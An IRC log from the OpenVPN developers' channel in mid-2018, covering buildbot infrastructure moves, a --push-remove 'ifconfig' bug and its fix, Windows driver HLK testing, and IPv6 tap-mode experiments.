did you change the buildmaster IP in buildbot.tac? 08:23 < tincantech> i don;t recall being informed that the IP was changing .. what should it be now ? 08:23 <@mattock> it was in the email 08:23 <@mattock> did you get the one from today? 08:23 <@mattock> it's in that one as well 08:25 < tincantech> you mean this .. the buildmaster won't be in the VPN anymore, so it needs to be accessed via the intranet IP (build.openvpn.in / 10.7.39.137) ? 08:26 <@mattock> exactly 08:27 <@mattock> use the IP 08:27 <@mattock> right now DNS might work, but it won't for long 08:27 <@mattock> hence build.openvpn.in would not resolve and buildslaves would break 08:39 <@cron2> mattock: can you please make DNS work again? I'm fine to change DNS to "something that might stay for longer" (like, build.openvpn.net or .com), but putting IPs in config files is not the way to do things 08:40 <@cron2> especially when the box moves next time, I do not want to touch config files again 08:49 < tincantech> ok .. i am all connected but +1 to cron2 's request ;) 09:24 <@mattock> hmm yes generally I agree 09:24 <@mattock> the problem is that that would require pushing DNS to clients 09:25 <@mattock> as storing internal IPs in public DNS may or may not work 09:25 <@mattock> we do that, but some routers block DNS responses 09:25 <@mattock> I can definitely push internal DNS via openvpn, but that will probably require a bit of tinkering on the buildslave side 09:26 <@mattock> so you can choose your poison 09:26 <@mattock> :P 09:26 <@mattock> what I could do easily is add build.openvpn.org, for example, and point it to the internal IP 09:27 <@mattock> that should work "most of the time" 09:27 <@mattock> we're moving the .in domains to internal DNS so they won't be available in public DNS soon 09:27 <@mattock> ~1 week from now 09:28 <@cron2> mattock: oh, yeah, router security bullshit. My routers do not do that :-) (they do not even get asked for DNS queries) 09:28 <@cron2> but the point was not "push internal DNS" (*that* will not work on any of the unix buildslaves as there is no update-resolv-conf thingie) 09:29 <@cron2> but "just put a reasonable name into a reasonable global zone and leave it there" 09:29 <@cron2> or just have openvpn.in visible globally with the single "build" entry, and have a split zone internally with "all the rest" 09:29 <@cron2> so many options 09:30 <@cron2> if it's "one week from now" we can sort this out next week @ meeting... 09:33 <@mattock> what I will do is add build.openvpn.org unless you object 09:36 <@mattock> ok, build.openvpn.org is pointing to the internal IP 09:36 <@mattock> I will try to remember to update that when upgrading the buildmaster the next time 09:37 <@mattock> we can potentially leave build.openvpn.in alone as well - not sure if we end up removing .in from public DNS altogether 10:27 <@cron2> both work for me :) 10:29 <@cron2> is it intended that build points to two 104.24.* IPs? 10:29 <@cron2> build.openvpn.org has address 104.24.0.59 10:29 <@cron2> build.openvpn.org has address 104.24.1.59 10:29 <@cron2> while .in points to 10.7.39.137? 10:31 <@cron2> hrmph, ipv6 to the VPN host isn't working either 10:36 <@cron2> buildbot 761 0.0 2.5 110512 12320 ?? I 28Sep16 21:28.18 /usr/local/bin/python2.7 /usr/local/bin/buildslave start 10:37 <@cron2> this buildslave has been running since nearly two years...! 10:38 < tincantech> cool :) 10:47 <@cron2> root 1037 0.0 3.5 69008 18064 ? I 13Apr15 88:12.13 /usr/pkg/bin/python2.7 /usr/pkg/bin/buildbot start 10:47 <@cron2> two years, haha :) 10:49 < tincantech> what OS ? 10:49 <@cron2> NetBSD 11:00 < jkunkee_> @mattock, this morning has been a bit crazy so I won't be able to look at the HLK until after 1800 UTC. 11:01 < jkunkee_> (for one, my test box and dev box at work seem to have the same IP address, so I can't remotely read the user account email you sent) 11:02 < jkunkee_> I do plan to look ASAP though :) 11:02 <@mattock> jkunkee: the twist of it is: "create a community services user account for yourself, if you don't have one" :P 11:03 <@mattock> https://community.openvpn.net/register 11:03 < jkunkee_> and I don't think I do 11:03 < jkunkee_> k 11:03 < jkunkee_> I am sorry I'm missing this window of opportunity. :( 11:03 <@mattock> also let me know your username, so that I can grant you access 11:04 <@mattock> no problem, we'll manage somehow 11:04 <@mattock> let's get you access and then see what coordination we need 11:05 < jkunkee_> Surprise! it's jkunkee 11:05 <@mattock> I guessed! 11:05 <@mattock> :P 11:05 <@mattock> I'll send you an info package probably in <1 hour 11:06 <@mattock> GPG encrypted 11:06 < jkunkee_> Many thanks. I look forward to it. 11:07 <@mattock> I don't know if asked about this, but 11:07 <@mattock> do you know if some other (big) company has gone through the trouble of HLK testing tap-windows6? 11:08 <@mattock> I mean, if there is a precedent for the paravirtualized driver thing 11:10 < tincantech> how about asking Microsoft/openvpn on github ? 11:10 <@mattock> is there Microsof/tap-windows6? that would be the optimal place :) 11:11 < tincantech> ahh let me look 11:14 < tincantech> no .. they have not anything with TAP 11:14 <@mattock> ok 11:32 < jkunkee_> paravirtualized means Hyper-V or VMWare drivers, so it's not an exact fit :( 11:32 < jkunkee_> I will find the Azure folks that own that repo 11:32 < jkunkee_> gotta go; sorry again :/ 13:28 <@cron2> plaisthos: I'll reconfig & restart the buildslave on pan 13:28 <@plaisthos> cron2: sure, go ahead 13:31 <@cron2> The buildslave appears to have (re)started correctly. 13:31 <@cron2> that was easier than expected... only my openbsds are missing now 13:32 <@cron2> (and those are busy cleaning up old and older build directories... using that opportunity to clean up old stuff) 13:41 <@cron2> ordex: I'm powering off the ubuntu build machine for the time being - let me know if you want to build windows 13:41 <@cron2> it's only a VM but it still uses electricity 13:41 <@ordex> cron2: sure 13:42 <@ordex> cron2: I am using gitlab-ci to build the openvpn.exe right now, so I think that's enough as I Can just copy it over to the windows machine for testing 13:42 <@cron2> does it work? 13:42 <@ordex> building? or copying? 13:42 <@cron2> building, copying, running :) 13:42 <@ordex> the copying I haven't tried, but openvpn wa already installe don that machine...so it should be "ok"[tm] 13:42 <@ordex> but have to test yet 13:43 <@cron2> as long as it's the same architecture (amd64) and uses the same OpenSSL version, it "should"... and it would be a nice way to quickly get a test binary if you do not have a full build system around 13:44 <@ordex> yeah 13:44 <@ordex> I have to verify openssl - forgot about that check 14:34 < tincantech> ordex: how long does gitlab-ci take to build a windows binary ? I can do it in 2.5 mins 14:41 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:43 <@ordex> no clue, I should check 14:43 <@ordex> but it's not important honestly 14:45 < tincantech> ok .. i have a PR pending for the openvpn-byuild which fixes it .. so you should be able to use that locally .. btw, the build system works best on ubuntu1604 and does not work at all on many other flavors 20:55 <@ordex> *burp* --- Day changed Fri Jun 29 2018 01:38 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:38 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:10 <@mattock> sent email to microsoft asking about the exact HLK test environment requirements for tap-windows6 (i.e. virtual ethernet driver) 04:11 <@mattock> in particular whether we really have to get a physical 4/8 core Windows Server 2016 to test it 04:11 <@mattock> I hope the email actually goes to a person and not /dev/null 04:15 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 256 seconds] 04:15 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:15 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 05:22 <@ordex> cron2: re #78: what you mentioned is exactly the test case that was used to test that merged commit. I was hoping the author of the ticket could provide his feedback....but he did not. I guess I can just close it then 05:22 <@cron2> in that case - just close it and enjoy the satisfaction ;-) 05:23 <@ordex> ohh yeah 05:25 <@dazo> I have some very vague memories of having run some similar testing, using tinyproxy ages ago 06:59 <@cron2> syzzer: welcome back :-) - are your patches in patchwork? 07:00 <@cron2> ordex: if you're still awake, syzzer's patches sound like low-hanging fruit... 07:01 <@ordex> cron2: sure I can have a look in the next 24h - about to go out for dinner soon 07:02 <@cron2> enjoy dinner :) 07:03 <@ordex> thanks :) 07:42 <@cron2> ordex: since this was less about crypto and more about compiler/autoconf/include things, I've just done it - done! 07:45 <@vpnHelper> RSS Update - gitrepo: openssl: add missing #include statements <https://github.com/OpenVPN/openvpn/commit/1987498271abadf042d8bb3feee1fe0d877a9d55> || openssl: don't use deprecated SSLEAY/SSLeay symbols <https://github.com/OpenVPN/openvpn/commit/17a476fd5c8cc49f1d103a50199e87ede76b1b67> 07:45 <@syzzer> cron2: thanks :) did you apply 2/2 v1 or 2/2 v2 ? 07:46 <@syzzer> and yeah, these were just the first steps, some more work is missing to compile without deprecated API support 07:52 <@cron2> syzzer: 2/2v2 07:52 <@cron2> +#include <openssl/rsa.h> 07:52 <@syzzer> ah, good. since the applied reply was to the v1 mail :) 07:53 <@cron2> my mutt displays it threaded to v2 07:53 <@syzzer> ah, no 07:53 <@syzzer> my eyes are just not parsing the thunderbird ui right 07:53 <@syzzer> sorry! 07:53 <@cron2> anyway, I actually read the whole thread and took the right patch :) 07:53 <@syzzer> yeah, thanks! 07:54 <@cron2> and the "it still does not work" bit was more a summary what I did and what is missing 07:54 <@cron2> thanks for poking .) 07:54 * syzzer just slowly working though the backlog 07:58 <@cron2> huh 07:58 <@cron2> fatal: Could not parse object '1987498271abadf042d8bb3feee1fe0d877a9d55'. 07:58 <@cron2> fatal: unable to connect to 10.177.36.101: 07:58 <@cron2> the buildslaves are unhappy 07:59 <@cron2> mattock: I think this is yours 08:00 <@cron2> buildslaves referencing to the git host by (old) IP... 08:00 <@syzzer> my mailbox is exploding! 08:01 <@cron2> oh, you receive the buildbot fail mails? 08:01 <@syzzer> yeah, seemed useful to hear about stuff I break :p 08:10 <@cron2> not done yet with failing builds... 08:40 <@cron2> this is fairly impressive :-) - *all* buildbots red now 08:43 <@plaisthos> :D 08:43 <@plaisthos> If I shutdown mine, will it getter redder? 08:44 <@cron2> no 08:56 <@ordex> cron2: thanks! 08:56 <@ordex> wow - something must have exploded 08:56 * ordex reads the backlog 09:00 <@cron2> ordex: mattock moved the buildmaster git but forgot to tell the buildslaves - so every single build ended in "failed git" 09:02 <@ordex> argh I see 09:03 <@ordex> cron2: "That does the "+" signify at "tap0+"?" -> it's a wildcard: it matches tun0* 09:04 <@ordex> the guy may have not known what he was doing when using the + 09:05 <@cron2> tap0+ matches tun0? *raise eyebrow* 09:05 <@ordex> think so 09:05 <@ordex> If the interface name ends in a "+", then any inter‐ 09:05 <@ordex> face which begins with this name will match. 09:05 <@ordex> from the man 09:05 <@ordex> "begin" .. mah 09:06 <@ordex> I have sine tha tused as "tun+" or "eth+" 09:06 <@ordex> *seen that 09:08 < tincantech> Question: when ipv6 only is completed will we be able to use --push-remove ifconfig to send only ipv6 to a client from a dual stack server ? 09:08 <@cron2> this already works today 09:09 <@cron2> ordex: *tap0+* is *not* going to match *tun0* :-) 09:09 <@ordex> ah well, for sure :D 09:10 <@ordex> I didn't see the big elephant 09:48 < tincantech> cron2: according to my tests using git master server as of today, it appears it is not possible to remove "ifconfig x y" from the push reply .. ? 09:49 < tincantech> i am not talking about --pull-filter on the client but --push-remove on the server 09:51 <@cron2> tincantech: well, client-wise all we need is in. It's possible that push-remove is not catching "ifconfig" due to the way the ifconfig pushing is "special" - but that would be a different bug, not addressed by the current patchset 09:52 < tincantech> cron2: thanks for clarifying .. so my original question then "when ipv6 only" is coomplete will it be possible to remove ifconfig from the push on a dual stack server ? is it planned to be addressed ? 09:53 <@cron2> these are two unrelated questions 09:53 <@cron2> when you run an ipv6-only server, there will not be an ifconfig in the to-be-pushed list of things 09:54 <@cron2> if there *is* a pushed ifconfig, and push-remove isn't removing it, this is something the patch is not addressing at all 09:54 < tincantech> you know people are going to ask for it eventually .. a dual stack server that can support eith ipv4 only and ipv6 only clients 09:54 < tincantech> either* 09:55 <@cron2> well, if it is a bug, it will need to be fixed, but it still has nothing to with the ipv6-only patchset 09:55 < tincantech> sure 09:57 < tincantech> only 171 buildbot fails :D 10:00 <@cron2> you're right, push-remove works for "ifconfig-ipv6" but does not work for "ifconfig". Interesting. 10:02 < tincantech> yeah .. i've tested it quite thoroughly :) 10:04 <@ordex> push-remove would be the filter happening *before* sending the push-reply ? 10:05 < tincantech> ordex yes 10:05 <@ordex> oh ok, thanks 10:06 <@ordex> why would you configure a server with --server and the add --push-remove ifconfig? was that expected to be in a ccd file for some clients only? 10:06 < tincantech> --push-remove is used in a ccd or dynamic client config file on the server 10:06 <@ordex> there you go :) thanks 10:07 < tincantech> in the past it would be stupid to remove ifconfig being pushed to the client because it will just break the vpn 10:07 <@ordex> cron2: forifconfig-ipv6 there is a special handling case: 605 /* ifconfig-ipv6 is special, as not part of the push list */ 10:08 <@ordex> I guess ifconfig needs something similar.. ? 10:08 <@ordex> tincantech: yeah, this is probably why it is not "supported/expected" 10:09 < tincantech> but it seems to me like people will ask if a dual stack server can selectively provide ipv4 or ipv6 only to clients .. surrently it is not possible to remove the ipv4 ifconfig at all, only over write it with a fix v4 in a ccd or dynamic 10:09 < tincantech> fixed v4 ip 10:09 <@ordex> yeah, even though .. I wonder why somebody would want to do that 10:10 <@cron2> they might have a single legacy thing that needs v4, and all the rest is v6-only already... 10:10 < tincantech> exactly ;) 10:10 <@ordex> then I'd rather config --ifconfig for that client only :-P 10:10 <@cron2> anyway, this is clearly a bug... have an open trac ticket right now 10:12 <@cron2> and an interesting inconsistency at that 10:12 <@cron2> for everything *but* ifconfig-ipv6, a substring is good enough ("push-remove ifconfig-i") but for ifconfig-ipv6 it needs to match exactly 10:12 <@cron2> so "push-remove ifconfig" does nothing at all 10:13 <@ordex> i guess ifconfig strings are not part of the list of things to push? but are added later ? 10:15 <@cron2> yes 10:15 <@cron2> push.c, line 336 10:15 <@cron2> and line 608 10:17 <@vpnHelper> RSS Update - tickets: #1072: --push-remove is not removing "ifconfig" <https://community.openvpn.net/openvpn/ticket/1072> 11:01 -!- lev__ [~lev__@openvpn/corp/lev] has quit [Ping timeout: 255 seconds] 11:09 -!- Netsplit *.net <-> *.split quits: @plaisthos 11:14 -!- Netsplit over, joins: @plaisthos 12:30 < jkunkee> now to look at this HLK business... 12:44 <@cron2> Fri Jun 29 19:44:06 2018 us=212138 do_ifconfig, ipv4=0, ipv6=1 12:48 <@cron2> tincantech: some days are "speak up and your wish shall be fulfilled" days :-) 13:18 < tincantech> cron2: Nice one :D 13:36 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:25 <@cron2> tincantech: so, does it work for your setup? :) 14:42 < tincantech> it does not appear to work .. but i'll try rebuilding 14:43 < tincantech> i see the server read the ccd file and then apply the: PUSH_REMOVE 'ifconfig' 14:44 < tincantech> but the push still has "setenv-safe OVPN_TEST 1,ifconfig 10.25.165.10 10.25.165.9" 14:44 < tincantech> the setenv_safe is in the ccd file to make sure it is being read 14:45 < tincantech> does it require an ipv6 address ? 14:46 < tincantech> hang on .. i think i forgot to restart the server properly 14:48 < tincantech> nope .. restart does not effect it .. must have done it -- this is the log of note: 14:48 < tincantech> Fri Jun 29 20:47:13 2018 us=358662 v3_ec_c01_mint64-dik-xpc/92.24.136.161:2986 PUSH_REMOVE 'ifconfig' 14:48 < tincantech> Fri Jun 29 20:47:13 2018 us=358682 v3_ec_c01_mint64-dik-xpc/92.24.136.161:2986 MULTI_sva: pool returned IPv4=10.25.165.6, IPv6=(Not enabled) 14:49 < tincantech> so the pool gives an ip after the remove is applied 14:53 < tincantech> even with an ipv6 server the ipv4 does not get removed 14:58 < tincantech> cron2: https://dpaste.de/fTAE --- server log 14:58 < tincantech> hang on .. i may be running the wrong binary *slapshead* 15:03 < tincantech> lol .. wrong binary 15:03 < tincantech> cron2: works like a charm :) 15:05 < tincantech> PUSH: Received control message: 'PUSH_REPLY,route 10.25.165.1,topology net30,ping 10,ping-restart 60,setenv-safe OVPN_TEST 1,peer-id 0,cipher AES-256-GCM' 15:10 < tincantech> who does iOS .. is that ordex ? 15:11 < tincantech> ordex: just a heads up : https://forums.openvpn.net/viewtopic.php?f=22&t=26633#p79709 15:11 <@vpnHelper> Title: iOS to Synology NAS VPN server - OpenVPN Support Forum (at forums.openvpn.net) 15:12 < tincantech> something about DNS will only resolv to ipv6 addresses .. probably due to the carrier 16:59 < gcoxmoz> !git 16:59 <@vpnHelper> "git" is (#1) The public git trees are here: a) git://git.code.sf.net/p/openvpn/openvpn, b) https://gitlab.com/openvpn/openvpn.git, c) https://github.com/OpenVPN/openvpn/, or (#2) All of these git locations should always be in sync and identical, if not something bad has happened and you should inform the developers ASAP, or (#3) See !git-doc how to use git, or (#4) for the windows TUN/TAP driver 16:59 <@vpnHelper> repo, look at !tapdrvr, or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 17:34 < gcoxmoz> Hi, first-time submitter. Can I get a pre-review on https://github.com/OpenVPN/openvpn/pull/106 ahead of sending to the mailing list? No rush. 17:34 <@vpnHelper> Title: Remove deprecated plugin functions from code samples by gcoxmoz · Pull Request #106 · OpenVPN/openvpn · GitHub (at github.com) 19:41 < tincantech> wtf does this mean : deer macken veer plat ! --- Day changed Sat Jun 30 2018 00:51 <@ordex> cron2: I have to dig into the code yet...but why do we push_ifconfig_ipv6_defined and no ipv4 counterpart? can this create issues? or it's just code asymmetry? 02:24 <@cron2> code asymmetry, ipv4 has other variables for this, and multiple so 03:58 <@ordex> cron2: alright, thanks 08:04 <@cron2> ordex: proper partial matching would allow stuff like 08:04 <@cron2> push-remove "ifconfig 10.10." 08:04 <@cron2> which is very hard to support given that we do not know the final IP address (thus, the final command) in this place yet 08:13 <@ordex> cron2: oh ok...I did not mean to include that case anyway 08:13 <@ordex> I hoped it could be limited to the "operator" 08:18 <@cron2> everything else (see man page) nicely matches the left hand part of the full push with option 08:18 <@cron2> like, push-remove "route 10." 08:19 <@cron2> (as does pull-filter, both on purpose) 08:19 <@cron2> ... and if we don't do that, just matching the command will do (but maybe it should be documented :) ) 08:23 <@ordex> hehe yeah 14:27 <@vpnHelper> RSS Update - tickets: #1073: Linux: VPN is unavailable and connection does not terminate <https://community.openvpn.net/openvpn/ticket/1073> --- Day changed Sun Jul 01 2018 00:50 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:50 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:00 <@mattock> no response from sysdev@microsoft.com yet 01:01 <@mattock> I think that I need to tell the guys at the office to order a physical Windows Server 2016 with 4 cores on Monday evening 01:01 <@mattock> (for this HLK thing) 01:02 <@mattock> I don't see any reason why the HLK controller couldn't be in EC2 as it just orchestrates the tests 02:56 <@cron2> fortunately 4-core-machines are not that expensive anymore 05:37 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 06:56 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:56 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:01 <@vpnHelper> RSS Update - tickets: #1074: extend iservice to turn off DHCPv4 (or handle address service) <https://community.openvpn.net/openvpn/ticket/1074> 15:01 <@cron2> oh, you need to do the "-v2" on "git format-patch" if you separate "patch generation" and "send-mail" 15:02 <@cron2> anyway... "v2 of that patch is on the list" :) 15:14 < tincantech> passes my test ;) == 'PUSH_REPLY,route 10.25.165.1,topology net30,ping 10,ping-restart 60,setenv-safe OVPN_TEST 1,peer-id 0,cipher AES-256-GCM' (status=1) 15:55 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 15:57 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 15:57 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 20:09 <@ordex> cron2: yup 20:12 <@ordex> cron2: I gues you did not use -v2 then? because the subject carries no version :p well, not important 20:12 <@ordex> *guess 20:30 < tincantech> ordex: i hear you were on the wind the other day ') 20:31 < tincantech> s/d/e/g 20:36 <@ordex> hehe 20:36 <@ordex> maybe 20:43 < tincantech> I imagine you get really good fried see food .. like bug currued shrimps ! 20:44 < tincantech> big* 20:44 < tincantech> curried* 20:44 < tincantech> damn keyboard .. or eyes .. or fingers ! 20:45 < tincantech> anyway .. izz late here .. i gtg 21:10 <@ordex> :P 21:10 <@ordex> good night --- Day changed Mon Jul 02 2018 00:25 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:31 <@ordex> cron2: do you have any automatic way to retrieve the URL of the archived email with the patch when extending the commit message? or you have to find it manually? 01:31 <@ordex> I guess it could be "resolved" starting from the message-id 01:31 <@ordex> but it would be nice to know a shortcut, if any :) 01:33 <@vpnHelper> RSS Update - gitrepo: Extend push-remove to also handle 'ifconfig'. <https://github.com/OpenVPN/openvpn/commit/6ae2f19d891e8cedccffdb1760b9774b9feff140> 01:36 <@cron2> ordex: dazo's git ack-am script does a lookup on 01:36 <@cron2> mailarch_srch=$(curl -D- http://mid.mail-archive.com/$msgid 2>/dev/null | ga 01:36 <@cron2> wk -F\ '/^Location: /{gsub("\n|\r", "", $2); printf($2);}' ) 01:36 <@cron2> oops, that's supposed to be one line 01:36 <@ordex> hehe ok, i got it 01:36 <@ordex> thanks 01:37 <@cron2> and then it calls that URL again because it redirects agai 01:37 <@ordex> oh alright 01:45 <@ordex> build.openvpn.net exploded again? 01:45 <@ordex> uhm 01:46 <@ordex> cron2: 10.177.36.101[0: 10.177.36.101]: errno=Operation timed out << this is not the ip of build.openvpn.in - no ? 01:59 <@ordex> fyi https://twitter.com/phoronix/status/1013000378646978560 02:46 <@mattock> ordex: no 02:46 <@mattock> that IP does not exist anymore 02:47 <@mattock> check build.openvpn.in in DNS 02:47 <@mattock> that's the correct IP 02:47 <@mattock> the VPN now pushes routes 02:47 <@ordex> mattock: yeah, this is what i meant - but all the builders seem to be attempting to connect to git on the wrong IP 02:47 <@ordex> so I guess this IP has to be changed somewhere 02:58 <@mattock> ah I see 02:58 <@mattock> lemme check 03:18 <@mattock> ordex: indeed, the URLs in buildmaster config were wrong 03:18 <@mattock> I fixed those 03:19 <@ordex> thanks 03:21 <@mattock> hmm, systemd thinks buildmaster did not start, but it is running 03:22 <@mattock> looking 03:27 <@ordex> the can has been openef 03:27 <@ordex> opened* 03:29 <@mattock> got it working now it seems 03:29 <@mattock> I'm running a test build 03:34 <@ordex> oky 03:38 <@mattock> test build passed! 03:39 <@mattock> so now the builds "should work" 03:55 <@ordex> good, thanks 03:57 <@dazo> OpenVPN Inc is looking for Senior QA .... base location Lviv in Ukraine but remotes are considered ... https://jobs.dou.ua/companies/openvpn/vacancies/68792/ 03:57 <@vpnHelper> Title: Senior QA Core Automation Engineer for Networking Solutions в OpenVPN, Львов, удаленно | DOU (at jobs.dou.ua) 04:42 <@cron2> ordex: 10.177.36.101 is the old build-ip, the new one is 10.7.38.x or something 04:43 <@cron2> syzzer, ordex, mattock: sorry for the buildbot explosion spam - I was happy to have the ACK, so I quickly did merge&push this morning and forgot about that small detail 04:43 <@ordex> :D 04:44 <@plaisthos> .oO(I am still happy not get the spam) 06:03 <@ordex> I got my nitrokey.....now I wonder how I should use it hmm 06:06 <@plaisthos> My first thought was "There is an extra key in a car for Nitro?" 06:06 <@plaisthos> then I thought it was probably some kind of hipster name for a crypto key 06:15 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 06:21 <@ordex> :D plaisthos right 08:15 < tincantech> so, when do we get --server-ipv6-bridge ? *ducks and runs* 08:15 <@plaisthos> never? :P 08:15 <@plaisthos> ipv6 should already work with ndp on tap I guess 08:15 <@plaisthos> But no idea 08:15 < tincantech> that's what i thought ;) 08:16 <@ordex> yeah it should 08:16 <@ordex> first we sohuld get done with server-ipv6 :) then we can look at the rest :D 08:16 < tincantech> is --server-ipv6 not finished ? 08:17 <@ordex> nope 08:17 <@ordex> well 08:18 <@ordex> "--server-ipv6 finished" does not mean much, but for the ipv6-only patchset there is still something pending 08:18 < tincantech> ah .. right, that is what i thought you meant :) 08:34 <@ordex> the list of things to do is long .-. 08:45 <@vpnHelper> RSS Update - tickets: #1075: PKCS#11 (OpenSC) not working with OpenVPN on windows 10 <https://community.openvpn.net/openvpn/ticket/1075> 09:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:22 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:28 < tincantech> so, it is possible to get an IPv6 --dev tap working but it is not straight forward 09:28 < tincantech> for a start, i cannot get the server to push an ipv6 address .. it wipes it from the CCD 09:29 < tincantech> but it's just an experiment .. not really expecting this to ever be supported ;) 09:30 <@ordex> why is it wiped? 09:30 < tincantech> no idea .. you cannot specify any kind of ipv6 server server-bridge .. so i guess openvpn refuses to send ifconfig-ipv6-push 09:31 < tincantech> so i send it as a setenv-safe and script it with up 09:32 <@ordex> tincantech: can't you just configure --server-ipv6 next to --server-bridge? and honestly, do you really need --server-bridge? 09:32 <@ordex> in --up you can do all the additional setup you may need 09:33 < tincantech> ordex: i don't need any of this .. just experimenting ;) 09:34 < tincantech> but i have not tried adding --server-ipv6 to the --server-bridge yet .. i'll try now but i bet it is not compatible 09:34 <@ordex> maybe 09:34 <@ordex> but I am not sure to be honest 09:35 < tincantech> no .. you can't do it that way because --server-ipv6 will try to assign a address and then that will conflict .. 09:35 < tincantech> but i'll try 09:36 < tincantech> i setup the bridge-start script to create the bridge with ipv6 included .. so you can't use --server-ipv6 and no need to --ifconfig-ipv6 as the bridge-start does that 09:37 < tincantech> so openvpn just flatly refuses to send ifconfig-ipv6-push .. and there is no error/warning in the log verb 4 09:38 <@ordex> what is the bridge-start script? 09:38 <@ordex> but this seems to be a normal setup, where ipv6 is probably expected to be handled via advertisement 09:39 <@ordex> but I have no clue about what is the expected behaviour.. 09:39 < tincantech> bottom of this page for the script : https://openvpn.net/index.php/open-source/documentation/miscellaneous/ethernet-bridging.html 09:39 <@vpnHelper> Title: Ethernet Bridging (at openvpn.net) 09:40 < tincantech> i doubt there is "expected behaviour" because it is not supported ;) 09:41 <@ordex> probably when IPv6 was added, there was no real interest in tap 09:41 <@ordex> yeah 09:41 < tincantech> add ip -6 address add dev tap0 2000:blah to the script 09:41 <@ordex> that could definitely be improved 09:41 < tincantech> lol .. cron2 will not like that ;) 09:42 <@ordex> I think he doesn't care about tap that much in general (but I might be wrong) 09:42 <@ordex> tincantech: so what happens when you specify also --server-ipv6 next to --server-bridge ? 09:42 <@ordex> I haven't understood that 09:43 < tincantech> i have not tried but it will not work because the script assigned TAP add is in the real LAN not a VPN subnet 09:44 <@ordex> well yeah, or it may mess up things 09:44 <@ordex> --server-bridge omits the --ifconfig indeed 09:45 < tincantech> exactly where as --server specifically sets it 09:45 <@ordex> yep 09:45 < tincantech> i suppose there maybe some rare cases where somebody wants IPv6 and IPX or something 09:46 < tincantech> but it can be dome just not easily 09:46 <@ordex> but I guess you could just do what server-bridge does 09:46 <@ordex> --ifconfig-ipv6-pool 2001:blah::/64 09:47 < tincantech> i'll try that 09:47 <@ordex> and of course, the script still has to manually add the 2001:blah::1/64 to the bridge 09:49 < tincantech> are the v4 v6 pools still "linked" ? I know there was some discussion about that .. 09:50 <@ordex> so far yes 09:50 <@ordex> the next pending patch in the ipv6-only patchset is changing that a bit. but the pool will still be "one" 09:51 < tincantech> lol : Options error: --ifconfig-ipv6-pool needs --ifconfig-ipv6 09:51 <@ordex> hehe 09:52 <@ordex> makes sense 09:52 <@ordex> yeah this case was simply never thought 09:52 <@ordex> :p 09:53 < tincantech> yeah .. probably best to leave it and stop poking at it with my stick ;) 09:53 < tincantech> it's starting to smell bad 09:55 < tincantech> when you use printf what is the correct way to include a " in the printed string ? i am guessing \" (escaped) 09:56 <@ordex> yup 09:56 < tincantech> ok .. well i have discovered something very odd about openvpn option parser 09:57 < tincantech> not sure how to even describe it here .. may have to send a -users mail 09:58 <@ordex> :D 09:59 < tincantech> put it this way .. i printf "%s" "$--all-options x y" (lots of options) but 10:00 < tincantech> so all that gets redirected to a file config.opts (so --server x y --dev tun etc ..) 10:01 < tincantech> then do: openvpn $(cat config.opts) it work all the way up to --push "something" 10:02 < tincantech> then errors out with default error message about the --push 10:03 < tincantech> So i thought it must be because of the " throwing string or field handling out (#!/bin/sh) 10:03 < tincantech> but the same sort of thing with --opt "options" in the client file works no problem 10:04 <@ordex> I think passing escaped strings with spaces on the cli is quite problematic 10:04 <@ordex> or did you find a way to make it work ? 10:05 < tincantech> nope .. had to revert to making config.opts a real config.conf (remove all --opts) and just pass it as a normal config.conf 10:05 <@ordex> yeah 10:06 <@plaisthos> ordex: no it is the same as in the config. Same ecaping 10:06 <@ordex> mh ok - never spent much time on making the --push work honestly 10:07 < tincantech> also another oddity .. i can pass over 1600 characters in a --opts string to openvpn but at some point something goes wrong and then it says maximum line length (256) exceeded .. 10:07 <@ordex> not sure when I tried though 10:13 <@plaisthos> you mean via commandline? 10:14 <@ordex> yap 10:15 <@ordex> or tincantech maybe :D 10:17 < tincantech> yes .. command line 10:17 < tincantech> but i do it like so : 10:18 < tincantech> OPTS=$(cat conf.opts) (as above all opts are --opt x y) 10:18 < tincantech> the openvpn $OPTS 10:19 < tincantech> just realised .. the " in the client $OPTS are removed by expansion (i guess) but not needed where they are used anyway 10:20 < tincantech> i also tried with --push 'opt' and altho the string is created correctly openvpn behaves in wierd ways 10:21 < tincantech> i recall dazo said something about the option parser being a bit funky so i'm not worried about it .. just use a different method 11:16 <@cron2> re 11:16 <@cron2> full day customer BGP workshop done... I'm done too 11:17 <@cron2> tincantech: tap mode with IPv6 works just fine, I test this for every client build 11:19 <@cron2> (I do not do --server-bridge, though, as that's sort of funky stuff. I just do --server, --server-ipv6 and --dev tap) 11:43 < tincantech> cron2: ok .. thanks for the tip .. i presume you also do not create an OS bridge ? 11:55 <@cron2> I do have use that occasionally, but if I do that, the my openvpn clients never needed a tap IP *in* the network - because openvpn was bridging LAN-to-LAN 12:00 < tincantech> ok 16:27 < tincantech> hehe .. there is definitely something quite wrong with the option parser .. 16:30 < tincantech> i think this exceeds 256 chars : https://dpaste.de/NRbH 16:34 < tincantech> click "word wrap" ;) 20:22 < tincantech> omg .. this gets worce ! 20:55 < tincantech> --compress is not right .. 20:56 <@ordex> did you break it?! --- Day changed Tue Jul 03 2018 00:38 